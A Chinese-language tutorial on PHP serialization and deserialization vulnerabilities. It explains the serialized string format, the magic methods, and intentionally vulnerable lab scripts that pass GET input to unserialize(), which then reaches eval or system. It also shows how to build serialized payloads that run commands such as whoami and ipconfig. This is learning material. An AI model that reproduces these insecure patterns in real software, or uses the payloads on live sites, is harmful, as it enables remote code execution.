PHP反序列化基础
内容学习来自
【PHP反序列化漏洞学习】https://www.bilibili.com/video/BV1R24y1r71C?vd_source=1b0e428a02fdf914f76a34059f40358b
序列化:
注意和Java中的序列化的区别,Java中是将对象属性序列化为字节流
<?php
highlight_file(__FILE__);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}
Oobject:4类名长度:"test"类名:1变量数量:{sString类型:3变量名字长度:"pub"变量的名字;s:6变量值的长度:"benben"变量的值;}
在上面也是可以发现,序列化的时候并不会将方法进行序列化
PHP 序列化关注 数据持久化,方法属于 代码逻辑
私有属性和公有属性略微不同:
<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
可以看到上面的变量名前面被加上了test ,并且长度变成了9,明明只是多了个test,为什么变成了9??
原因序列化出来的其实在test的前后都是有这么一个符号的:
但是由于复制显示,会看不着,使用url编码后就是这么个东西,于是长度便成为了9
这里简单说一下%00是什么:
%00
是 URL 编码的空字符(Null Byte),对应 ASCII 码 0x00
,在编程和网络安全中常用于字符串终止或绕过安全检测。
受保护属性就和前面差不多了:
<?php
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
多了一个号,但是长度是6,还是因为在号的前后都会有一个%00的空符号
成员属性调用对象:
<?php
highlight_file(__FILE__);
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this->ben=new test();
}
}
$a = new test2();
echo serialize($a);
?>
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
反序列化
就是将字符串内容反序列化为对象属性
<?php
highlight_file(__FILE__);
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);
?>
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
这个是反序列化漏洞的关键点
序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串) 串)可控:
通过更改这个值(字符串),得到所需要的代码;
通过调用方法,触发代码执行。
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];//获取get传入的一个参数
$b = unserialize($get);//将get传入的参数进行反序列化为php对象
$b->displayVar() ;//然后调用这个对象中的displayVar方法来执行a字符串里面的命令
?>
//也就是说直接把a赋值为一个想要执行的命令,然后进行序列化,将序列化的数据进行get传参即可
这个时候就会有疑惑了,在序列化的时候不是不将方法序列化,反序列化出来的应该也没有方法呀,为什么能够调用displayVar()方法???
因为:
PHP 反序列化的工作原理
PHP 的 unserialize()
不仅还原对象的 属性,还会还原:
- 类结构(包括方法)
- 对象所属的类名
当反序列化一个对象时,PHP 会:
- 根据序列化数据中的类名,找到对应的类定义(必须已加载)。
- 重建对象,恢复其属性值。
- 保留所有方法,因为方法是类定义的一部分,而不是存储在序列化数据中。
也可以理解为,序列化只序列化类中的属性,不会序列化类中的方法,当反序列化的时候的步骤是先必须找到这个与反序列化有关的已经加载的类,然后只将类中的属性根据反序列化出来的数据进行重构(相当于你把一个文件夹中的部分文件拖动一键替换),保留原来的这个类中的所有方法,然后最终得到的这个反序列化出来的对象就可以看作一个被替换部分数据的新的类对象
构造执行命令的序列化字符串:
<?php
class test{
public $a = 'system("dir");';
public function displayVar() {
eval($this->a);
}
}
$d = new test();
$d = serialize($d);
echo $d;
?>
O:4:"test":1:{s:1:"a";s:14:"system("dir");";}
初学者有时间的话,可以尝试自己手写序列化字符串,可以帮助多理解一下序列化后的数据的含义
魔术方法是 PHP 中一类特殊的方法,它们以双下划线 __
开头,由 PHP 在特定情况下自动调用,用于实现对象的一些特殊行为,魔术方法为 PHP 提供了强大的对象操作能力
对于众多魔术方法,必须要了解的四个点:
- 触发时机
- 功能
- 参数
- 返回值
常见魔术方法及调用时机:
1. 构造与析构相关
__construct():构造函数,在创建对象时自动调用
__destruct():析构函数,在对象被销毁时自动调用
2. 属性访问相关
__get($name):当访问不可访问属性时调用
__set($name, $value):当给不可访问属性赋值时调用
__isset($name):当对不可访问属性调用 isset() 或 empty() 时调用
__unset($name):当对不可访问属性调用 unset() 时调用
3. 方法调用相关
__call($name, $arguments):当调用不可访问方法时调用
__callStatic($name, $arguments):当静态调用不可访问方法时调用
4. 字符串表示
__toString():当对象被当作字符串使用时调用
5. 序列化相关
__sleep():在序列化对象时调用
__wakeup():在反序列化对象时调用
6. 其他
__invoke():当尝试以调用函数的方式调用对象时调用
__clone():当对象被克隆时调用
__autoload():尝试加载未定义的类
__debuginfo():打印所需调试的信息
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");//只有这条语句,实例化User的时候才会触发
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser); // 这里分两步:
// 1. 反序列化创建临时对象
// 2. 临时对象立即被销毁 → 触发第一次析构
// 脚本执行结束 → $test被销毁 → 触发第二次析构
?>
触发了析构函数1次
触发了析构函数1次
学完就练:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()//在对象销毁时,被调用
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser); //反序列化执行完,就会调用__destruct()
//其实就类似有两行代码:
//$b=unserialize($ser)
//$b->__destruct()
?>
所以构造如下:
<?php
class User {
var $cmd = "system('ipconfig');" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$a = new User();
$a = serialize($a);
echo $a;
?>
如果是在本地的Windows构造这段脚本的话,也会直接调用一次,因为脚本执行结束,$a被销毁->触发__destruct()
__sleep:
用serialize() 函数实例化一个类的时候会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');//在这个时候会调用__construct方法,
//此时的$user对象为:
//object(User)#1 (3) {
// ["username"]=>
// string(1) "a"
// ["nickname"]=>
// string(1) "b"
// ["password":"User":private]=>
// string(1) "c"
//}
echo serialize($user);//由于序列化的时候只调用了__sleep()方法,所以只会返回username和nickname
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
学过就练:
<?php
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = $_GET['benben'];//获取get参数传给cmd
$user = new User($cmd, 'b', 'c');//将cmd参数传给user变量
echo serialize($user);//在序列化时调用__sleep(),从而执行命令system($cmd)-->system(benben)
?>
N;
所以直接构造就好
benben=whoami
哎,那有的就问了?那为什么之前的那个结果只有N;
原因:再看前面__sleep()的介绍,返回值是用来控制你要序列化的属性的,再看上面代码,__sleep有返回值吗?没有
PHP 返回 null
的序列化结果(即 N;
)
所以只有一个N;
魔术方法__wakeup:
- 重新初始化反序列化无法自动恢复的资源(如数据库连接、文件句柄)
- 数据完整性校验(如检查属性是否合法)
__wakeup()
不是“预先准备资源”,而是补救因序列化丢失的资源
$data = 'O:4:"User":1:{s:8:"username";s:5:"admin";}';
$obj = unserialize($data); // 实际执行:
// 1. 解析字符串,创建空对象
// 2. 注入属性 username="admin"
// 3. 调用 __wakeup()(如果存在)
// 4. 返回对象
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {//在反序列化之后调用,将反序列化后的对象中的部分值再进行替换
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
学完就练:
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];//获取user_ser的值
unserialize($user_ser);//直接反序列化user_ser,会调用__wakeup()执行sysytem(username)
?>
//所以要传入序列化后的user对象,特别是username的值
构造:
<?php
class User {
const SITE = 'uusama';
public $username = 'whoami';
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$a=new User();
$a = serialize($a);
echo(urlencode($a));
?>
或者可以更简单的(只需要将该传入的传入就好):
<?php
class User {
public $username = 'whoami';
}
$a=new User();
$a = serialize($a);
echo($a);
?>
__toString:
当对象被当作字符串使用时自动调用,例如:
- 直接
echo
或print
对象 - 字符串连接操作(如
$str = "Prefix " . $object
) - 在字符串上下文中使用对象(如
strlen($object)
)
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);//相当于调用这个对象
echo "<br />";
echo $test;//输出这个对象,对象不是字符串形式的所以没办法输出。
//这样操作的时候会自动调用__toString()
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!
__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会自动执行:
$object = new MyClass();
$object(); // 这会触发 __invoke()
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;//输出test对象的benben属性
echo "<br />";
echo $test() ->benben;//输出test方法中的benben属性
//这个时候将一个类当作一个方法去调用的时候就会触发__invoke()方法
?>
this is test!!
它不是个函数!
__call()
触发时机:调用一个不存在的方法
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";//输出调用函数的名字,以及将传入的参数放进列表中,输出列表的第一个值
}
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a
__callstatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
和__call()类似,就是变成了静态调用
Warning: The magic method __callStatic() must have public visibility and be static in G:\phpstudy_pro\WWW\php_ser_Class-master\class10\2.php on line 5
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
callxxx,a
__get()
发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //test对象中并没有var2这个属性,所以会调用__get()方法
?>
var2
__set()
触发时机:给不存在的成员属性赋值
参数:传参$arg1 $arg2
返回值:不存在的成员属性的名称和赋的值
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1; //给test对象中不存的的var2赋值,调用__set()
?>
var2,1
__isset()
触发时机:对不可访问属性使用 isset() 或empty()时,__isset()会被调用。
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;//私有属性,只能在当前的类中调用
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>
var
__unset()
触发时机:对不可访问属性使用 unset()时,__unset()会被调用。
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
var
__clone()
触发时机: 当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
__clone test